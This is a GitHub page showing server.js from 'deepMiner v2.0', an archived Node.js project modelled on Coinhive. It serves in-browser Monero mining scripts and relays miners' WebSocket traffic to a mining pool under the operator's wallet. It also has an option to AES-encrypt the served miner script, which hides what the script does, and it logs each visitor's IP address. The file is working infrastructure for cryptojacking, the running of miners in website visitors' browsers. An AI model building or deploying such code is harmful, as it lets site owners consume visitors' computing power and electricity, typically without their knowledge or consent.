This repository has been archived by the owner on Sep 24, 2019. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 237
/
server.js
249 lines (239 loc) · 7.39 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
/**
* deepMiner v2.0
* Idea from coinhive.com
* For any XMR pool with your wallet
* By evil7@deePwn
*/
var http = require("http"),
WebSocket = require("ws"),
net = require("net"),
fs = require("fs"),
CryptoJS = require("crypto-js");
var conf = JSON.parse(fs.readFileSync(__dirname + "/config.json", "utf8"));
// crypto for AES
function rand(n) {
var chars = "01234567890ABCDEF";
var res = "";
for (var i = 0; i < n; i++) {
var id = Math.ceil(Math.random() * (chars.length - 1));
res += chars[id];
}
return res;
}
function enAES(key, str) {
var encrypt = CryptoJS.AES.encrypt(str, key);
return encrypt.toString();
}
function deAES(key, str) {
var decrypt = CryptoJS.AES.decrypt(str, key);
return decrypt.toString(CryptoJS.enc.Utf8);
}
var file = file || {};
var fileLists = ["/index.html", "/miner.html", "/lib/deepMiner.min.js", "/lib/cryptonight.js", "/lib/cryptonight.wasm"];
for (var i = 0; i < fileLists.length; i++) {
var currentFile = fileLists[i];
if (fileLists[i].match(/\.wasm$/)) {
file[currentFile] = fs.readFileSync(__dirname + "/web" + currentFile, null);
} else {
file[currentFile] = fs
.readFileSync(__dirname + "/web" + currentFile, "utf8")
.replace(/%deepMiner_domain%/g, conf.domain);
}
}
var stats = (req, res) => {
req.url = req.url === "/" ? "/index.html" : req.url;
if (req.url.match(/\.min\.js/)) {
res.setHeader("Access-Control-Allow-Origin", "*");
if (conf.cryp) {
var randKey = rand(32);
file[req.url] = randKey + "#" + enAES(randKey, file[req.url]);
}
res.setHeader("Content-Type", "application/javascript");
} else if (req.url.match(/\.html$/)) {
res.setHeader("Content-Type", "text/html");
} else if (req.url.match(/\.wasm$/)) {
res.setHeader("Access-Control-Allow-Origin", "*");
res.setHeader("Content-Type", "application/wasm");
} else {
res.setHeader("Content-Type", "application/octet-stream");
}
res.end(file[req.url]);
};
var web = http.createServer(stats);
// Trans WebSocket to PoolSocket
function ws2pool(conn, data) {
var buf;
data = JSON.parse(data);
switch (data.type) {
case "auth": {
conn.uid = data.params.userID || "Anonymous";
buf = {
method: "login",
params: {
login: conf.addr,
pass: conf.pass,
rigid: "",
agent: "deepMiner"
},
id: conn.pid
};
buf = JSON.stringify(buf) + "\n";
conn.pl.write(buf);
console.log(buf + "\n");
break;
}
case "submit": {
conn.found++;
buf = {
method: "submit",
params: {
id: conn.workerId,
job_id: data.params.job_id,
nonce: data.params.nonce,
result: data.params.result
},
id: conn.pid
};
buf = JSON.stringify(buf) + "\n";
conn.pl.write(buf);
break;
}
}
}
// Trans PoolSocket to WebSocket
function pool2ws(conn, data) {
try {
var buf;
data = JSON.parse(data);
if (data.id === conn.pid && data.result) {
if (data.result.id) {
conn.workerId = data.result.id;
buf = {
type: "authed",
params: {
hashes: conn.accepted
}
};
buf = JSON.stringify(buf);
conn.ws.send(buf);
buf = {
type: "job",
params: data.result.job
};
buf = JSON.stringify(buf);
conn.ws.send(buf);
} else if (data.result.status === "OK") {
conn.accepted++;
buf = {
type: "hash_accepted",
params: {
hashes: conn.accepted
}
};
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
}
if (data.id === conn.pid && data.error) {
if (data.error.code === -1) {
buf = {
type: "error",
params: {
error: data.error.message
}
};
} else {
buf = {
type: "banned",
params: {
banned: conn.pid
}
};
}
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
if (data.method === "job") {
buf = {
type: "job",
params: data.params
};
buf = JSON.stringify(buf);
conn.ws.send(buf);
}
} catch (error) {
console.warn("[!] Error: " + error.message);
}
}
// get IP
function getClientIp(req) {
// In webSocket req need select the header used lowercase `req.headers["x-real-ip"]` not the `req.headers["X-Real-IP"]`. wtf...
var theIp =
req.headers["x-forwarded-for"] ||
req.headers["x-real-ip"] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
return theIp;
}
// Miner Proxy Srv
var srv = new WebSocket.Server({
server: web,
path: "/proxy",
maxPayload: 1024
});
srv.on("connection", (ws, req) => {
var conn = {
uid: null,
pid: rand(16).toString("hex"),
uip: getClientIp(req),
workerId: null,
found: 0,
accepted: 0,
ws: ws,
pl: new net.Socket()
};
var pool = conf.pool.split(":");
conn.pl.connect(
pool[1],
pool[0]
);
conn.ws.on("message", data => {
ws2pool(conn, data);
console.log("[>] Request: " + conn.uid + " ( " + conn.uip + " )" + "\n\n" + data + "\n");
});
conn.ws.on("error", data => {
console.log("[!] " + conn.uid + " ( " + conn.uip + " )" + " WebSocket " + data + "\n");
conn.pl.destroy();
});
conn.ws.on("close", () => {
console.log("[!] " + conn.uid + " ( " + conn.uip + " )" + " offline.\n");
conn.pl.destroy();
});
conn.pl.on("data", function(data) {
var linesdata = data;
var lines = String(linesdata).split("\n");
if (lines[1].length > 0) {
console.log("[<] Response: " + conn.uid + " ( " + conn.uip + " )" + "\n\n" + lines[0] + "\n");
console.log("[<] Response: " + conn.uid + " ( " + conn.uip + " )" + "\n\n" + lines[1] + "\n");
pool2ws(conn, lines[0]);
pool2ws(conn, lines[1]);
} else {
console.log("[<] Response: " + conn.uid + " ( " + conn.uip + " )" + "\n\n" + data + "\n");
pool2ws(conn, data);
}
});
conn.pl.on("error", data => {
console.log("PoolSocket " + data + "\n");
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
conn.pl.on("close", () => {
console.log("PoolSocket Closed.\n");
if (conn.ws.readyState !== 3) {
conn.ws.close();
}
});
});
web.listen(conf.lport, conf.lhost);